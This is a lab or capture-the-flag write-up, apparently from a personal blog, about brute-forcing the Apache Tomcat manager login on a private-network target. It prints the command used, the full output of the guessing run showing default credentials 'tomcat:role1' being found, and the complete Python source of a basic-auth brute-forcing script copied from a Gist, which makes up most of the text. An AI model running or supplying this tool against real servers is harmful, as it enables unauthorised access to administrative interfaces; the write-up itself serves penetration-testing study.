I was not happy using the msfconsole to brute force the Tomcat manager. The option to use Hydra was still not working for me. So I decided to look further with some Google Fu, I had found a potential script. I copied the script to a new file and looked into the source code to see what is was doing before I run the script.
To use the script I only had to specify a few arguments. The command should look like this: python brute-tomcat-manager.py –host 10.0.2.6 –port 8080 –path /manager/html –usr /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt –pwd /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
┌──(emvee㉿kali)-[~/Documents/thales]
└─$ python brute-tomcat-manager.py --host 10.0.2.6 --port 8080 --path /manager/html --usr /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt --pwd /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
# Target: http://10.0.2.6:8080/manager/html
# Usernames: /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
# Passwords: /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
# Press any key to start ...
[*] Trying 'admin:admin' ...
[*] Trying 'manager:admin' ...
[*] Trying 'role1:admin' ...
[*] Trying 'role:admin' ...
[*] Trying 'root:admin' ...
[*] Trying 'tomcat:admin' ...
[*] Trying 'both:admin' ...
[*] Trying 'QCC:admin' ...
[*] Trying 'j2deployer:admin' ...
[*] Trying 'ovwebusr:admin' ...
[*] Trying 'cxsdk:admin' ...
[*] Trying 'ADMIN:admin' ...
[*] Trying 'xampp:admin' ...
[*] Trying 'admin:manager' ...
[*] Trying 'manager:manager' ...
[*] Trying 'role1:manager' ...
[*] Trying 'role:manager' ...
[*] Trying 'root:manager' ...
[*] Trying 'tomcat:manager' ...
[*] Trying 'both:manager' ...
[*] Trying 'QCC:manager' ...
[*] Trying 'j2deployer:manager' ...
[*] Trying 'ovwebusr:manager' ...
[*] Trying 'cxsdk:manager' ...
[*] Trying 'ADMIN:manager' ...
[*] Trying 'xampp:manager' ...
[*] Trying 'admin:role1' ...
[*] Trying 'manager:role1' ...
[*] Trying 'role1:role1' ...
[*] Trying 'role:role1' ...
[*] Trying 'root:role1' ...
[*] Trying 'tomcat:role1' ...
[!] Credentials found: tomcat:role1
[*] Trying 'both:role1' ...
[*] Trying 'QCC:role1' ...
[*] Trying 'j2deployer:role1' ...
[*] Trying 'ovwebusr:role1' ...
[*] Trying 'cxsdk:role1' ...
[*] Trying 'ADMIN:role1' ...
[*] Trying 'xampp:role1' ...
[*] Trying 'admin:role' ...
[*] Trying 'manager:role' ...
[*] Trying 'role1:role' ...
[*] Trying 'role:role' ...
[*] Trying 'root:role' ...
[*] Trying 'tomcat:role' ...
[*] Trying 'both:role' ...
[*] Trying 'QCC:role' ...
[*] Trying 'j2deployer:role' ...
[*] Trying 'ovwebusr:role' ...
[*] Trying 'cxsdk:role' ...
[*] Trying 'ADMIN:role' ...
[*] Trying 'xampp:role' ...
[*] Trying 'admin:root' ...
[*] Trying 'manager:root' ...
[*] Trying 'role1:root' ...
[*] Trying 'role:root' ...
[*] Trying 'root:root' ...
[*] Trying 'tomcat:root' ...
[*] Trying 'both:root' ...
[*] Trying 'QCC:root' ...
[*] Trying 'j2deployer:root' ...
[*] Trying 'ovwebusr:root' ...
[*] Trying 'cxsdk:root' ...
[*] Trying 'ADMIN:root' ...
[*] Trying 'xampp:root' ...
[*] Trying 'admin:tomcat' ...
[*] Trying 'manager:tomcat' ...
[*] Trying 'role1:tomcat' ...
[*] Trying 'role:tomcat' ...
[*] Trying 'root:tomcat' ...
[*] Trying 'tomcat:tomcat' ...
[*] Trying 'both:tomcat' ...
[*] Trying 'QCC:tomcat' ...
[*] Trying 'j2deployer:tomcat' ...
[*] Trying 'ovwebusr:tomcat' ...
[*] Trying 'cxsdk:tomcat' ...
[*] Trying 'ADMIN:tomcat' ...
[*] Trying 'xampp:tomcat' ...
[*] Trying 'admin:both' ...
[*] Trying 'manager:both' ...
[*] Trying 'role1:both' ...
[*] Trying 'role:both' ...
[*] Trying 'root:both' ...
[*] Trying 'tomcat:both' ...
[*] Trying 'both:both' ...
[*] Trying 'QCC:both' ...
[*] Trying 'j2deployer:both' ...
[*] Trying 'ovwebusr:both' ...
[*] Trying 'cxsdk:both' ...
[*] Trying 'ADMIN:both' ...
[*] Trying 'xampp:both' ...
[*] Trying 'admin:QCC' ...
[*] Trying 'manager:QCC' ...
[*] Trying 'role1:QCC' ...
[*] Trying 'role:QCC' ...
[*] Trying 'root:QCC' ...
[*] Trying 'tomcat:QCC' ...
[*] Trying 'both:QCC' ...
[*] Trying 'QCC:QCC' ...
[*] Trying 'j2deployer:QCC' ...
[*] Trying 'ovwebusr:QCC' ...
[*] Trying 'cxsdk:QCC' ...
[*] Trying 'ADMIN:QCC' ...
[*] Trying 'xampp:QCC' ...
[*] Trying 'admin:j2deployer' ...
[*] Trying 'manager:j2deployer' ...
[*] Trying 'role1:j2deployer' ...
[*] Trying 'role:j2deployer' ...
[*] Trying 'root:j2deployer' ...
[*] Trying 'tomcat:j2deployer' ...
[*] Trying 'both:j2deployer' ...
[*] Trying 'QCC:j2deployer' ...
[*] Trying 'j2deployer:j2deployer' ...
[*] Trying 'ovwebusr:j2deployer' ...
[*] Trying 'cxsdk:j2deployer' ...
[*] Trying 'ADMIN:j2deployer' ...
[*] Trying 'xampp:j2deployer' ...
[*] Trying 'admin:ovwebusr' ...
[*] Trying 'manager:ovwebusr' ...
[*] Trying 'role1:ovwebusr' ...
[*] Trying 'role:ovwebusr' ...
[*] Trying 'root:ovwebusr' ...
[*] Trying 'tomcat:ovwebusr' ...
[*] Trying 'both:ovwebusr' ...
[*] Trying 'QCC:ovwebusr' ...
[*] Trying 'j2deployer:ovwebusr' ...
[*] Trying 'ovwebusr:ovwebusr' ...
[*] Trying 'cxsdk:ovwebusr' ...
[*] Trying 'ADMIN:ovwebusr' ...
[*] Trying 'xampp:ovwebusr' ...
[*] Trying 'admin:cxsdk' ...
[*] Trying 'manager:cxsdk' ...
[*] Trying 'role1:cxsdk' ...
[*] Trying 'role:cxsdk' ...
[*] Trying 'root:cxsdk' ...
[*] Trying 'tomcat:cxsdk' ...
[*] Trying 'both:cxsdk' ...
[*] Trying 'QCC:cxsdk' ...
[*] Trying 'j2deployer:cxsdk' ...
[*] Trying 'ovwebusr:cxsdk' ...
[*] Trying 'cxsdk:cxsdk' ...
[*] Trying 'ADMIN:cxsdk' ...
[*] Trying 'xampp:cxsdk' ...
[*] Trying 'admin:ADMIN' ...
[*] Trying 'manager:ADMIN' ...
[*] Trying 'role1:ADMIN' ...
[*] Trying 'role:ADMIN' ...
[*] Trying 'root:ADMIN' ...
[*] Trying 'tomcat:ADMIN' ...
[*] Trying 'both:ADMIN' ...
[*] Trying 'QCC:ADMIN' ...
[*] Trying 'j2deployer:ADMIN' ...
[*] Trying 'ovwebusr:ADMIN' ...
[*] Trying 'cxsdk:ADMIN' ...
[*] Trying 'ADMIN:ADMIN' ...
[*] Trying 'xampp:ADMIN' ...
[*] Trying 'admin:xampp' ...
[*] Trying 'manager:xampp' ...
[*] Trying 'role1:xampp' ...
[*] Trying 'role:xampp' ...
[*] Trying 'root:xampp' ...
[*] Trying 'tomcat:xampp' ...
[*] Trying 'both:xampp' ...
[*] Trying 'QCC:xampp' ...
[*] Trying 'j2deployer:xampp' ...
[*] Trying 'ovwebusr:xampp' ...
[*] Trying 'cxsdk:xampp' ...
[*] Trying 'ADMIN:xampp' ...
[*] Trying 'xampp:xampp' ...
## Summary ##
{'tomcat': 'role1'}
When the script has finished running, the credentials are found and listed at the bottem.
The source code for the file tomcat.py which I copied from the Github Gist.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
"""
Tomcat bruteforce
Author: @itsecurityco
"""
import os
import sys
import getopt
import base64
import requests
from time import sleep
def usage():
print "## Usage ##"
print "tomcat.py --host 127.0.0.1 --port <8080> --path </manager/html> --usr path_file --pwd path_file"
def info(host, port, path, usr_path, pwd_path):
print "# Target: http://%s:%d%s" % (host, port, path)
print "# Usernames: %s" % usr_path
print "# Passwords: %s" % pwd_path
raw_input("# Press any key to start ...")
def log(log_file):
if os.path.isfile(log_file):
handle = open(log_file, "r")
session = handle.read().strip().split("::::::")
handle.close()
os.remove(log_file)
return session
else:
return False
def bruteforce(host, port, path, usr_path, pwd_path, log_file):
usernames = open(usr_path, 'r').read().splitlines()
passwords = open(pwd_path, 'r').read().splitlines()
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
session = log(log_file)
creds = {}
for pwd in passwords:
for usr in usernames:
if session != False:
if session[0] == usr and session[1] == pwd:
print "# Reading %s file from '%s:%s' " % (log_file, usr, pwd)
session = False
sleep(5)
else:
continue
headers["Authorization"] = "Basic %s" % base64.b64encode("%s:%s" % (usr, pwd))
print "[*] Trying '%s:%s' ..." % (usr, pwd)
try:
res = requests.get("http://%s:%d%s" % (host, port, path), headers=headers)
if res.status_code != 401:
print "[!] Credentials found: %s:%s" % (usr, pwd)
creds[usr] = pwd
except:
handle = open(log_file, "w")
handle.write("%s::::::%s" % (usr, pwd))
handle.close()
if len(creds) > 0:
print "## Summary ##"
print creds
else:
print "## No passwords found ##"
def main():
port = 8080
path = "/manager/html"
log_file = "tomcat.log"
try:
opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "host=", "port=", "path=", "usr=", "pwd="])
except getopt.GetoptError as err:
print str(err)
usage()
exit(1)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
exit(0)
elif opt == "--host":
host = arg
elif opt == "--port":
port = int(arg)
elif opt == "--path":
path = arg
elif opt == "--usr":
usr_path = arg
elif opt == "--pwd":
pwd_path = arg
else:
assert False, "unhandled option"
if len(opts) == 0:
usage()
exit(0)
info(host, port, path, usr_path, pwd_path)
bruteforce(host, port, path, usr_path, pwd_path, log_file)
if __name__ == "__main__":
main()